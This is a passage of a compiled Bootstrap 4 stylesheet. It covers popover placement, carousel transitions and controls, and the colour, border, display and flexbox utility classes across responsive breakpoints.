rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n bottom: 1px;\n border-top-color: #fff;\n}\n\n.bs-popover-right, .bs-popover-auto[x-placement^=\"right\"] {\n margin-left: 0.5rem;\n}\n\n.bs-popover-right .arrow, .bs-popover-auto[x-placement^=\"right\"] .arrow {\n left: calc((0.5rem + 1px) * -1);\n width: 0.5rem;\n height: 1rem;\n margin: 0.3rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before,\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n border-width: 0.5rem 0.5rem 0.5rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before {\n left: 0;\n border-right-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n left: 1px;\n border-right-color: #fff;\n}\n\n.bs-popover-bottom, .bs-popover-auto[x-placement^=\"bottom\"] {\n margin-top: 0.5rem;\n}\n\n.bs-popover-bottom .arrow, .bs-popover-auto[x-placement^=\"bottom\"] .arrow {\n top: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before,\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n border-width: 0 0.5rem 0.5rem 0.5rem;\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before {\n top: 0;\n border-bottom-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n top: 1px;\n border-bottom-color: #fff;\n}\n\n.bs-popover-bottom .popover-header::before, .bs-popover-auto[x-placement^=\"bottom\"] .popover-header::before {\n position: absolute;\n top: 0;\n left: 50%;\n display: block;\n width: 1rem;\n margin-left: -0.5rem;\n content: \"\";\n border-bottom: 1px solid #f7f7f7;\n}\n\n.bs-popover-left, .bs-popover-auto[x-placement^=\"left\"] {\n margin-right: 0.5rem;\n}\n\n.bs-popover-left .arrow, .bs-popover-auto[x-placement^=\"left\"] .arrow {\n right: calc((0.5rem + 1px) * -1);\n width: 0.5rem;\n height: 1rem;\n margin: 0.3rem 0;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before,\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n border-width: 0.5rem 0 0.5rem 0.5rem;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before {\n right: 0;\n border-left-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n right: 1px;\n border-left-color: #fff;\n}\n\n.popover-header {\n padding: 0.5rem 0.75rem;\n margin-bottom: 0;\n font-size: 1rem;\n color: inherit;\n background-color: #f7f7f7;\n border-bottom: 1px solid #ebebeb;\n border-top-left-radius: calc(0.3rem - 1px);\n border-top-right-radius: calc(0.3rem - 1px);\n}\n\n.popover-header:empty {\n display: none;\n}\n\n.popover-body {\n padding: 0.5rem 0.75rem;\n color: #212529;\n}\n\n.carousel {\n position: relative;\n}\n\n.carousel-inner {\n position: relative;\n width: 100%;\n overflow: hidden;\n}\n\n.carousel-item {\n position: relative;\n display: none;\n -ms-flex-align: center;\n align-items: center;\n width: 100%;\n transition: -webkit-transform 0.6s ease;\n transition: transform 0.6s ease;\n transition: transform 0.6s ease, -webkit-transform 0.6s ease;\n -webkit-backface-visibility: hidden;\n backface-visibility: hidden;\n -webkit-perspective: 1000px;\n perspective: 1000px;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .carousel-item {\n transition: none;\n }\n}\n\n.carousel-item.active,\n.carousel-item-next,\n.carousel-item-prev {\n display: block;\n}\n\n.carousel-item-next,\n.carousel-item-prev {\n position: absolute;\n top: 0;\n}\n\n.carousel-item-next.carousel-item-left,\n.carousel-item-prev.carousel-item-right {\n -webkit-transform: translateX(0);\n transform: translateX(0);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n .carousel-item-next.carousel-item-left,\n .carousel-item-prev.carousel-item-right {\n -webkit-transform: translate3d(0, 0, 0);\n transform: translate3d(0, 0, 0);\n }\n}\n\n.carousel-item-next,\n.active.carousel-item-right {\n -webkit-transform: translateX(100%);\n transform: translateX(100%);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n .carousel-item-next,\n .active.carousel-item-right {\n -webkit-transform: translate3d(100%, 0, 0);\n transform: translate3d(100%, 0, 0);\n }\n}\n\n.carousel-item-prev,\n.active.carousel-item-left {\n -webkit-transform: translateX(-100%);\n transform: translateX(-100%);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n .carousel-item-prev,\n .active.carousel-item-left {\n -webkit-transform: translate3d(-100%, 0, 0);\n transform: translate3d(-100%, 0, 0);\n }\n}\n\n.carousel-fade .carousel-item {\n opacity: 0;\n transition-duration: .6s;\n transition-property: opacity;\n}\n\n.carousel-fade .carousel-item.active,\n.carousel-fade .carousel-item-next.carousel-item-left,\n.carousel-fade .carousel-item-prev.carousel-item-right {\n opacity: 1;\n}\n\n.carousel-fade .active.carousel-item-left,\n.carousel-fade .active.carousel-item-right {\n opacity: 0;\n}\n\n.carousel-fade .carousel-item-next,\n.carousel-fade .carousel-item-prev,\n.carousel-fade .carousel-item.active,\n.carousel-fade .active.carousel-item-left,\n.carousel-fade .active.carousel-item-prev {\n -webkit-transform: translateX(0);\n transform: translateX(0);\n}\n\n@supports ((-webkit-transform-style: preserve-3d) or (transform-style: preserve-3d)) {\n .carousel-fade .carousel-item-next,\n .carousel-fade .carousel-item-prev,\n .carousel-fade .carousel-item.active,\n .carousel-fade .active.carousel-item-left,\n .carousel-fade .active.carousel-item-prev {\n -webkit-transform: translate3d(0, 0, 0);\n transform: translate3d(0, 0, 0);\n }\n}\n\n.carousel-control-prev,\n.carousel-control-next {\n position: absolute;\n top: 0;\n bottom: 0;\n display: -ms-flexbox;\n display: flex;\n -ms-flex-align: center;\n align-items: center;\n -ms-flex-pack: center;\n justify-content: center;\n width: 15%;\n color: #fff;\n text-align: center;\n opacity: 0.5;\n}\n\n.carousel-control-prev:hover, .carousel-control-prev:focus,\n.carousel-control-next:hover,\n.carousel-control-next:focus {\n color: #fff;\n text-decoration: none;\n outline: 0;\n opacity: .9;\n}\n\n.carousel-control-prev {\n left: 0;\n}\n\n.carousel-control-next {\n right: 0;\n}\n\n.carousel-control-prev-icon,\n.carousel-control-next-icon {\n display: inline-block;\n width: 20px;\n height: 20px;\n background: transparent no-repeat center center;\n background-size: 100% 100%;\n}\n\n.carousel-control-prev-icon {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E\");\n}\n\n.carousel-control-next-icon {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E\");\n}\n\n.carousel-indicators {\n position: absolute;\n right: 0;\n bottom: 10px;\n left: 0;\n z-index: 15;\n display: -ms-flexbox;\n display: flex;\n -ms-flex-pack: center;\n justify-content: center;\n padding-left: 0;\n margin-right: 15%;\n margin-left: 15%;\n list-style: none;\n}\n\n.carousel-indicators li {\n position: relative;\n -ms-flex: 0 1 auto;\n flex: 0 1 auto;\n width: 30px;\n height: 3px;\n margin-right: 3px;\n margin-left: 3px;\n text-indent: -999px;\n background-color: rgba(255, 255, 255, 0.5);\n}\n\n.carousel-indicators li::before {\n position: absolute;\n top: -10px;\n left: 0;\n display: inline-block;\n width: 100%;\n height: 10px;\n content: \"\";\n}\n\n.carousel-indicators li::after {\n position: absolute;\n bottom: -10px;\n left: 0;\n display: inline-block;\n width: 100%;\n height: 10px;\n content: \"\";\n}\n\n.carousel-indicators .active {\n background-color: #fff;\n}\n\n.carousel-caption {\n position: absolute;\n right: 15%;\n bottom: 20px;\n left: 15%;\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: #fff;\n text-align: center;\n}\n\n.align-baseline {\n vertical-align: baseline !important;\n}\n\n.align-top {\n vertical-align: top !important;\n}\n\n.align-middle {\n vertical-align: middle !important;\n}\n\n.align-bottom {\n vertical-align: bottom !important;\n}\n\n.align-text-bottom {\n vertical-align: text-bottom !important;\n}\n\n.align-text-top {\n vertical-align: text-top !important;\n}\n\n.bg-primary {\n background-color: #007bff !important;\n}\n\na.bg-primary:hover, a.bg-primary:focus,\nbutton.bg-primary:hover,\nbutton.bg-primary:focus {\n background-color: #0062cc !important;\n}\n\n.bg-secondary {\n background-color: #6c757d !important;\n}\n\na.bg-secondary:hover, a.bg-secondary:focus,\nbutton.bg-secondary:hover,\nbutton.bg-secondary:focus {\n background-color: #545b62 !important;\n}\n\n.bg-success {\n background-color: #28a745 !important;\n}\n\na.bg-success:hover, a.bg-success:focus,\nbutton.bg-success:hover,\nbutton.bg-success:focus {\n background-color: #1e7e34 !important;\n}\n\n.bg-info {\n background-color: #17a2b8 !important;\n}\n\na.bg-info:hover, a.bg-info:focus,\nbutton.bg-info:hover,\nbutton.bg-info:focus {\n background-color: #117a8b !important;\n}\n\n.bg-warning {\n background-color: #ffc107 !important;\n}\n\na.bg-warning:hover, a.bg-warning:focus,\nbutton.bg-warning:hover,\nbutton.bg-warning:focus {\n background-color: #d39e00 !important;\n}\n\n.bg-danger {\n background-color: #dc3545 !important;\n}\n\na.bg-danger:hover, a.bg-danger:focus,\nbutton.bg-danger:hover,\nbutton.bg-danger:focus {\n background-color: #bd2130 !important;\n}\n\n.bg-light {\n background-color: #f8f9fa !important;\n}\n\na.bg-light:hover, a.bg-light:focus,\nbutton.bg-light:hover,\nbutton.bg-light:focus {\n background-color: #dae0e5 !important;\n}\n\n.bg-dark {\n background-color: #343a40 !important;\n}\n\na.bg-dark:hover, a.bg-dark:focus,\nbutton.bg-dark:hover,\nbutton.bg-dark:focus {\n background-color: #1d2124 !important;\n}\n\n.bg-white {\n background-color: #fff !important;\n}\n\n.bg-transparent {\n background-color: transparent !important;\n}\n\n.border {\n border: 1px solid #dee2e6 !important;\n}\n\n.border-top {\n border-top: 1px solid #dee2e6 !important;\n}\n\n.border-right {\n border-right: 1px solid #dee2e6 !important;\n}\n\n.border-bottom {\n border-bottom: 1px solid #dee2e6 !important;\n}\n\n.border-left {\n border-left: 1px solid #dee2e6 !important;\n}\n\n.border-0 {\n border: 0 !important;\n}\n\n.border-top-0 {\n border-top: 0 !important;\n}\n\n.border-right-0 {\n border-right: 0 !important;\n}\n\n.border-bottom-0 {\n border-bottom: 0 !important;\n}\n\n.border-left-0 {\n border-left: 0 !important;\n}\n\n.border-primary {\n border-color: #007bff !important;\n}\n\n.border-secondary {\n border-color: #6c757d !important;\n}\n\n.border-success {\n border-color: #28a745 !important;\n}\n\n.border-info {\n border-color: #17a2b8 !important;\n}\n\n.border-warning {\n border-color: #ffc107 !important;\n}\n\n.border-danger {\n border-color: #dc3545 !important;\n}\n\n.border-light {\n border-color: #f8f9fa !important;\n}\n\n.border-dark {\n border-color: #343a40 !important;\n}\n\n.border-white {\n border-color: #fff !important;\n}\n\n.rounded {\n border-radius: 0.25rem !important;\n}\n\n.rounded-top {\n border-top-left-radius: 0.25rem !important;\n border-top-right-radius: 0.25rem !important;\n}\n\n.rounded-right {\n border-top-right-radius: 0.25rem !important;\n border-bottom-right-radius: 0.25rem !important;\n}\n\n.rounded-bottom {\n border-bottom-right-radius: 0.25rem !important;\n border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-left {\n border-top-left-radius: 0.25rem !important;\n border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-circle {\n border-radius: 50% !important;\n}\n\n.rounded-0 {\n border-radius: 0 !important;\n}\n\n.clearfix::after {\n display: block;\n clear: both;\n content: \"\";\n}\n\n.d-none {\n display: none !important;\n}\n\n.d-inline {\n display: inline !important;\n}\n\n.d-inline-block {\n display: inline-block !important;\n}\n\n.d-block {\n display: block !important;\n}\n\n.d-table {\n display: table !important;\n}\n\n.d-table-row {\n display: table-row !important;\n}\n\n.d-table-cell {\n display: table-cell !important;\n}\n\n.d-flex {\n display: -ms-flexbox !important;\n display: flex !important;\n}\n\n.d-inline-flex {\n display: -ms-inline-flexbox !important;\n display: inline-flex !important;\n}\n\n@media (min-width: 576px) {\n .d-sm-none {\n display: none !important;\n }\n .d-sm-inline {\n display: inline !important;\n }\n .d-sm-inline-block {\n display: inline-block !important;\n }\n .d-sm-block {\n display: block !important;\n }\n .d-sm-table {\n display: table !important;\n }\n .d-sm-table-row {\n display: table-row !important;\n }\n .d-sm-table-cell {\n display: table-cell !important;\n }\n .d-sm-flex {\n display: -ms-flexbox !important;\n display: flex !important;\n }\n .d-sm-inline-flex {\n display: -ms-inline-flexbox !important;\n display: inline-flex !important;\n }\n}\n\n@media (min-width: 768px) {\n .d-md-none {\n display: none !important;\n }\n .d-md-inline {\n display: inline !important;\n }\n .d-md-inline-block {\n display: inline-block !important;\n }\n .d-md-block {\n display: block !important;\n }\n .d-md-table {\n display: table !important;\n }\n .d-md-table-row {\n display: table-row !important;\n }\n .d-md-table-cell {\n display: table-cell !important;\n }\n .d-md-flex {\n display: -ms-flexbox !important;\n display: flex !important;\n }\n .d-md-inline-flex {\n display: -ms-inline-flexbox !important;\n display: inline-flex !important;\n }\n}\n\n@media (min-width: 992px) {\n .d-lg-none {\n display: none !important;\n }\n .d-lg-inline {\n display: inline !important;\n }\n .d-lg-inline-block {\n display: inline-block !important;\n }\n .d-lg-block {\n display: block !important;\n }\n .d-lg-table {\n display: table !important;\n }\n .d-lg-table-row {\n display: table-row !important;\n }\n .d-lg-table-cell {\n display: table-cell !important;\n }\n .d-lg-flex {\n display: -ms-flexbox !important;\n display: flex !important;\n }\n .d-lg-inline-flex {\n display: -ms-inline-flexbox !important;\n display: inline-flex !important;\n }\n}\n\n@media (min-width: 1200px) {\n .d-xl-none {\n display: none !important;\n }\n .d-xl-inline {\n display: inline !important;\n }\n .d-xl-inline-block {\n display: inline-block !important;\n }\n .d-xl-block {\n display: block !important;\n }\n .d-xl-table {\n display: table !important;\n }\n .d-xl-table-row {\n display: table-row !important;\n }\n .d-xl-table-cell {\n display: table-cell !important;\n }\n .d-xl-flex {\n display: -ms-flexbox !important;\n display: flex !important;\n }\n .d-xl-inline-flex {\n display: -ms-inline-flexbox !important;\n display: inline-flex !important;\n }\n}\n\n@media print {\n .d-print-none {\n display: none !important;\n }\n .d-print-inline {\n display: inline !important;\n }\n .d-print-inline-block {\n display: inline-block !important;\n }\n .d-print-block {\n display: block !important;\n }\n .d-print-table {\n display: table !important;\n }\n .d-print-table-row {\n display: table-row !important;\n }\n .d-print-table-cell {\n display: table-cell !important;\n }\n .d-print-flex {\n display: -ms-flexbox !important;\n display: flex !important;\n }\n .d-print-inline-flex {\n display: -ms-inline-flexbox !important;\n display: inline-flex !important;\n }\n}\n\n.embed-responsive {\n position: relative;\n display: block;\n width: 100%;\n padding: 0;\n overflow: hidden;\n}\n\n.embed-responsive::before {\n display: block;\n content: \"\";\n}\n\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n position: absolute;\n top: 0;\n bottom: 0;\n left: 0;\n width: 100%;\n height: 100%;\n border: 0;\n}\n\n.embed-responsive-21by9::before {\n padding-top: 42.857143%;\n}\n\n.embed-responsive-16by9::before {\n padding-top: 56.25%;\n}\n\n.embed-responsive-4by3::before {\n padding-top: 75%;\n}\n\n.embed-responsive-1by1::before {\n padding-top: 100%;\n}\n\n.flex-row {\n -ms-flex-direction: row !important;\n flex-direction: row !important;\n}\n\n.flex-column {\n -ms-flex-direction: column !important;\n flex-direction: column !important;\n}\n\n.flex-row-reverse {\n -ms-flex-direction: row-reverse !important;\n flex-direction: row-reverse !important;\n}\n\n.flex-column-reverse {\n -ms-flex-direction: column-reverse !important;\n flex-direction: column-reverse !important;\n}\n\n.flex-wrap {\n -ms-flex-wrap: wrap !important;\n flex-wrap: wrap !important;\n}\n\n.flex-nowrap {\n -ms-flex-wrap: nowrap !important;\n flex-wrap: nowrap !important;\n}\n\n.flex-wrap-reverse {\n -ms-flex-wrap: wrap-reverse !important;\n flex-wrap: wrap-reverse !important;\n}\n\n.flex-fill {\n -ms-flex: 1 1 auto !important;\n flex: 1 1 auto !important;\n}\n\n.flex-grow-0 {\n -ms-flex-positive: 0 !important;\n flex-grow: 0 !important;\n}\n\n.flex-grow-1 {\n -ms-flex-positive: 1 !important;\n flex-grow: 1 !important;\n}\n\n.flex-shrink-0 {\n -ms-flex-negative: 0 !important;\n flex-shrink: 0 !important;\n}\n\n.flex-shrink-1 {\n -ms-flex-negative: 1 !important;\n flex-shrink: 1 !important;\n}\n\n.justify-content-start {\n -ms-flex-pack: start !important;\n justify-content: flex-start !important;\n}\n\n.justify-content-end {\n -ms-flex-pack: end !important;\n justify-content: flex-end !important;\n}\n\n.justify-content-center {\n -ms-flex-pack: center !important;\n justify-content: center !important;\n}\n\n.justify-content-between {\n -ms-flex-pack: justify !important;\n justify-content: space-between !important;\n}\n\n.justify-content-around {\n -ms-flex-pack: distribute !important;\n justify-content: space-around !important;\n}\n\n.align-items-start {\n -ms-flex-align: start !important;\n align-items: flex-start !important;\n}\n\n.align-items-end {\n -ms-flex-align: end !important;\n align-items: flex-end !important;\n}\n\n.align-items-center {\n -ms-flex-align: center !important;\n align-items: center !important;\n}\n\n.align-items-baseline {\n -ms-flex-align: baseline !important;\n align-items: baseline !important;\n}\n\n.align-items-stretch {\n -ms-flex-align: stretch !important;\n align-items: stretch !important;\n}\n\n.align-content-start {\n -ms-flex-line-pack: start !important;\n align-content: flex-start !important;\n}\n\n.align-content-end {\n -ms-flex-line-pack: end !important;\n align-content: flex-end !important;\n}\n\n.align-content-center {\n -ms-flex-line-pack: center !important;\n align-content: center !important;\n}\n\n.align-content-between {\n -ms-flex-line-pack: justify !important;\n align-content: space-between !important;\n}\n\n.align-content-around {\n -ms-flex-line-pack: distribute !important;\n align-content: space-around !important;\n}\n\n.align-content-stretch {\n -ms-flex-line-pack: stretch !important;\n align-content: stretch !important;\n}\n\n.align-self-auto {\n -ms-flex-item-align: auto !important;\n align-self: auto !important;\n}\n\n.align-self-start {\n -ms-flex-item-align: start !important;\n align-self: flex-start !important;\n}\n\n.align-self-end {\n -ms-flex-item-align: end !important;\n align-self: flex-end !important;\n}\n\n.align-self-center {\n -ms-flex-item-align: center !important;\n align-self: center !important;\n}\n\n.align-self-baseline {\n -ms-flex-item-align: baseline !important;\n align-self: baseline !important;\n}\n\n.align-self-stretch {\n -ms-flex-item-align: stretch !important;\n align-self: stretch !important;\n}\n\n@media (min-width: 576px) {\n .flex-sm-row {\n -ms-flex-direction: row !important;\n flex-direction: row !important;\n }\n .flex-sm-column {\n -ms-flex-direction: column !important;\n flex-direction: column !important;\n }\n .flex-sm-row-reverse {\n -ms-flex-direction: row-reverse !important;\n flex-direction: row-reverse !important;\n }\n .flex-sm-column-reverse {\n -ms-flex-direction: column-reverse !important;\n flex-direction: column-reverse !important;\n }\n .flex-sm-wrap {\n -ms-flex-wrap: wrap !important;\n flex-wrap: wrap !important;\n }\n .flex-sm-nowrap {\n -ms-flex-wrap: nowrap !important;\n flex-wrap: nowrap !important;\n }\n .flex-sm-wrap-reverse {\n -ms-flex-wrap: wrap-reverse !important;\n flex-wrap: wrap-reverse !important;\n }\n .flex-sm-fill {\n -ms-flex: 1 1 auto !important;\n flex: 1 1 auto !important;\n }\n .flex-sm-grow-0 {\n -ms-flex-positive: 0 !important;\n flex-grow: 0 !important;\n }\n .flex-sm-grow-1 {\n -ms-flex-positive: 1 !important;\n flex-grow: 1 !important;\n }\n .flex-sm-shrink-0 {\n -ms-flex-negative: 0 !important;\n flex-shrink: 0 !important;\n }\n .flex-sm-shrink-1 {\n -ms-flex-negative: 1 !important;\n flex-shrink: 1 !important;\n }\n .justify-content-sm-start {\n -ms-flex-pack: start !important;\n justify-content: flex-start !important;\n }\n .justify-content-sm-end {\n -ms-flex-pack: end !important;\n justify-content: flex-end !important;\n }\n .justify-content-sm-center {\n -ms-flex-pack: center !important;\n justify-content: center !important;\n }\n .justify-content-sm-between {\n -ms-flex-pack: justify !important;\n justify-content: space-between !important;\n }\n .justify-content-sm-around {\n -ms-flex-pack: distribute !important;\n justify-content: space-around !important;\n }\n .align-items-sm-start {\n -ms-flex-align: start !important;\n align-items: flex-start !important;\n }\n .align-items-sm-end {\n -ms-flex-align: end !important;\n align-items: flex-end !important;\n }\n .align-items-sm-center {\n -ms-flex-align: center !important;\n align-items: center !important;\n }\n .align-items-sm-baseline {\n -ms-flex-align: baseline !important;\n align-items: baseline !important;\n }\n .align-items-sm-stretch {\n -ms-flex-align: stretch !important;\n align-items: stretch !important;\n }\n .align-content-sm-start {\n -ms-flex-line-pack: start !important;\n align-content: flex-start !important;\n }\n .align-content-sm-end {\n -ms-flex-line-pack: end !important;\n align-content: flex-end !important;\n }\n .align-content-sm-center {\n -ms-flex-line-pack: center !important;\n align-content: center !important;\n }\n .align-content-sm-between {\n -ms-flex-line-pack: justify !important;\n align-content: space-between !important;\n }\n .align-content-sm-around {\n -ms-flex-line-pack: distribute !important;\n align-content: space-around !important;\n }\n .align-content-sm-stretch {\n -ms-flex-line-pack: stretch !important;\n align-content: stretch !important;\n }\n .align-self-sm-auto {\n -ms-flex-item-align: auto !important;\n align-self: auto !important;\n }\n .align-self-sm-start {\n -ms-flex-item-align: start !important;\n align-self: flex-start !important;\n }\n .align-self-sm-end {\n -ms-flex-item-align: end !important;\n align-self: flex-end !important;\n }\n .align-self-sm-center {\n -ms-flex-item-align: center !important;\n align-self: center !important;\n }\n .align-self-sm-baseline {\n -ms-flex-item-align: baseline !important;\n align-self: baseline !important;\n }\n .align-self-sm-stretch {\n -ms-flex-item-align: stretch !important;\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 768px) {\n .flex-md-row {\n -ms-flex-direction: row !important;\n flex-direction: row !important;\n }\n .flex-md-column {\n -ms-flex-direction: column !important;\n flex-direction: column !important;\n }\n .flex-md-row-reverse {\n -ms-flex-direction: row-reverse !important;\n flex-direction: row-reverse !important;\n }\n .flex-md-column-reverse {\n -ms-flex-direction: column-reverse !important;\n flex-direction: column-reverse !important;\n }\n .flex-md-wrap {\n -ms-flex-wrap: wrap !important;\n flex-wrap: wrap !important;\n }\n .flex-md-nowrap {\n -ms-flex-wrap: nowrap !important;\n flex-wrap: nowrap !important;\n }\n .flex-md-wrap-reverse {\n -ms-flex-wrap: wrap-reverse !important;\n flex-wrap: wrap-reverse !important;\n }\n .flex-md-fill {\n -ms-flex: 1 1 auto !important;\n flex: 1 1 auto !important;\n }\n .flex-md-grow-0 {\n -ms-flex-positive: 0 !important;\n flex-grow: 0 !important;\n }\n .flex-md-grow-1 {\n -ms-flex-positive: 1 !important;\n flex-grow: 1 !important;\n }\n .flex-md-shrink-0 {\n -ms-flex-negative: 0 !important;\n flex-shrink: 0 !important;\n }\n .flex-md-shrink-1 {\n -ms-flex-negative: 1 !important;\n flex-shrink: 1 !important;\n }\n .justify-content-md-start {\n -ms-flex-pack: start !important;\n justify-content: flex-start !important;\n }\n .justify-content-md-end {\n -ms-flex-pack: end !important;\n justify-content: flex-end !important;\n }\n .justify-content-md-center {\n -ms-flex-pack: center !important;\n justify-content: center !important;\n }\n .justify-content-md-between {\n -ms-flex-pack: justify !important;\n justify-content: space-between !important;\n }\n .justify-content-md-around {\n -ms-flex-pack: distribute !important;\n justify-content: space-around !important;\n }\n .align-items-md-start {\n -ms-flex-align: start !important;\n align-items: flex-start !important;\n }\n .align-items-md-end {\n -ms-flex-align: end !important;\n align-items: flex-end !important;\n }\n .align-items-md-center {\n -ms-flex-align: center !important;\n align-items: center !important;\n }\n .align-items-md-baseline {\n -ms-flex-align: baseline !important;\n align-items: baseline !important;\n }\n .align-items-md-stretch {\n -ms-flex-align: stretch !important;\n align-items: stretch !important;\n }\n .align-content-md-start {\n -ms-flex-line-pack: start !important;\n align-content: flex-start !important;\n }\n .align-content-md-end {\n -ms-flex-line-pack: end !important;\n align-content: flex-end !important;\n }\n .align-content-md-center {\n -ms-flex-line-pack: center !important;\n align-content: center !important;\n }\n .align-content-md-between {\n -ms-flex-line-pack: justify !important;\n align-content: space-between !important;\n }\n .align-content-md-around {\n -ms-flex-line-pack: distribute !important;\n align-content: space-around !important;\n }\n .align-content-md-stretch {\n -ms-flex-line-pack: stretch !important;\n align-content: stretch !important;\n }\n .align-self-md-auto {\n -ms-flex-item-align: auto !important;\n align-self: auto !important;\n }\n .align-self-md-start {\n -ms-flex-item-align: start !important;\n align-self: flex-start !important;\n }\n .align-self-md-end {\n -ms-flex-item-align: end !important;\n align-self: flex-end !important;\n }\n .align-self-md-center {\n -ms-flex-item-align: center !important;\n align-self: center !important;\n }\n .align-self-md-baseline {\n -ms-flex-item-align: baseline !important;\n align-self: baseline !important;\n }\n .align-self-md-stretch {\n -ms-flex-item-align: stretch !important;\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 992px) {\n .flex-lg-row {\n -ms-flex-direction: row !important;\n flex-direction: row !important;\n }\n .flex-lg-column {\n -ms-flex-direction: column !important;\n flex-direction: column !important;\n }\n .flex-lg-row-reverse {\n -ms-flex-direction: row-reverse !important;\n flex-direction: row-reverse !important;\n }\n .flex-lg-column-reverse {\n -ms-flex-direction: column-reverse !important;\n flex-direction: column-reverse !important;\n }\n .flex-lg-wrap {\n -ms-flex-wrap: wrap !important;\n flex-wrap: wrap !important;\n }\n .flex-lg-nowrap {\n -ms-flex-wrap: nowrap !important;\n flex-wrap: nowrap !important;\n }\n .flex-lg-wrap-reverse {\n -ms-flex-wrap: wrap-reverse !important;\n flex-wrap: wrap-reverse !important;\n }\n .flex-lg-fill {\n -ms-flex: 1 1 auto !important;\n flex: 1 1 auto !important;\n }\n .flex-lg-grow-0 {\n -ms-flex-positive: 0 !important;\n flex-grow: 0 !important;\n }\n .flex-lg-grow-1 {\n -ms-flex-positive: 1 !important;\n flex-grow: 1 !important;\n }\n .flex-lg-shrink-0 {\n -ms-flex-negative: 0 !important;\n flex-shrink: 0 !important;\n }\n .flex-lg-shrink-1 {\n -ms-flex-negative: 1 !important;\n flex-shrink: 1 !important;\n }\n .justify-content-lg-start {\n -ms-flex-pack: start !important;\n justify-content: flex-start !important;\n }\n .justify-content-lg-end {\n -ms-flex-pack: end !important;\n justify-content: flex-end !important;\n }\n .justify-content-lg-center {\n -ms-flex-pack: center !important;\n justify-content: center !important;\n }\n .justify-content-lg-between {\n -ms-flex-pack: justify !important;\n justify-content: space-between !important;\n }\n .justify-content-lg-around {\n -ms-flex-pack: distribute !important;\n justify-content: space-around !important;\n }\n .align-items-lg-start {\n -ms-flex-align: start !important;\n align-items: flex-start !important;\n }\n .align-items-lg-end {\n -ms-flex-align: end !important;\n align-items: flex-end !important;\n }\n .align-items-lg-center {\n -ms-flex-align: center !important;\n align-items: center !important;\n }\n .align-items-lg-baseline {\n -ms-flex-align: baseline !important;\n align-items: baseline !important;\n }\n .align-items-lg-stretch {\n -ms-flex-align: stretch !important;\n align-items: stretch !important;\n }\n .align-content-lg-start {\n -ms-flex-line-pack: start !important;\n align-content: flex-start !important;\n }\n .align-content-lg-end {\n -ms-flex-line-pack: end !important;\n align-content: flex-end !important;\n }\n .align-content-lg-center {\n -ms-flex-line-pack: center !important;\n align-content: center !important;\n }\n .align-content-lg-between {\n -ms-flex-line-pack: justify !important;\n align-content: space-between !important;\n }\n .align-content-lg-around {\n -ms-flex-line-pack: distribute !important;\n align-content: space-around !important;\n }\n .align-content-lg-stretch {\n -ms-flex-line-pack: stretch !important;\n align-content: stretch !important;\n }\n .align-self-lg-auto {\n -ms-flex-item-align: auto !important;\n align-self: auto !important;\n }\n .align-self-lg-start {\n -ms-flex-item-align: start !important;\n align-self: flex-start !important;\n }\n .align-self-lg-end {\n -ms-flex-item-align: end !important;\n align-self: flex-end !important;\n }\n .align-self-lg-center {\n -ms-flex-item-align: center !important;\n align-self: center !important;\n }\n .align-self-lg-baseline {\n -ms-flex-item-align: baseline !important;\n align-self: baseline !important;\n }\n .align-self-lg-stretch {\n -ms-flex-item-align: stretch !important;\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 1200px) {\n .flex-xl-row {\n -ms-flex-direction: row !important;\n flex-direction: row !important;\n }\n .flex-xl-column {\n -ms-flex-direction: column !important;\n flex-direction: column !important;\n }\n .flex-xl-row-reverse {\n -ms-flex-direction: row-reverse !important;\n flex-direction: row-reverse !important;\n }\n .flex-xl-column-reverse {\n -ms-flex-direction: column-reverse !important;\n flex-direction: column-reverse !important;\n }\n .flex-xl-wrap {\n -ms-flex-wrap: wrap !important;\n flex-wrap: wrap !important;\n }\n .flex-xl-nowrap {\n -ms-flex-wrap: nowrap !important;\n flex-wrap: nowrap !important;\n }\n .flex-xl-wrap-reverse {\n -ms-flex-wrap: wrap-reverse 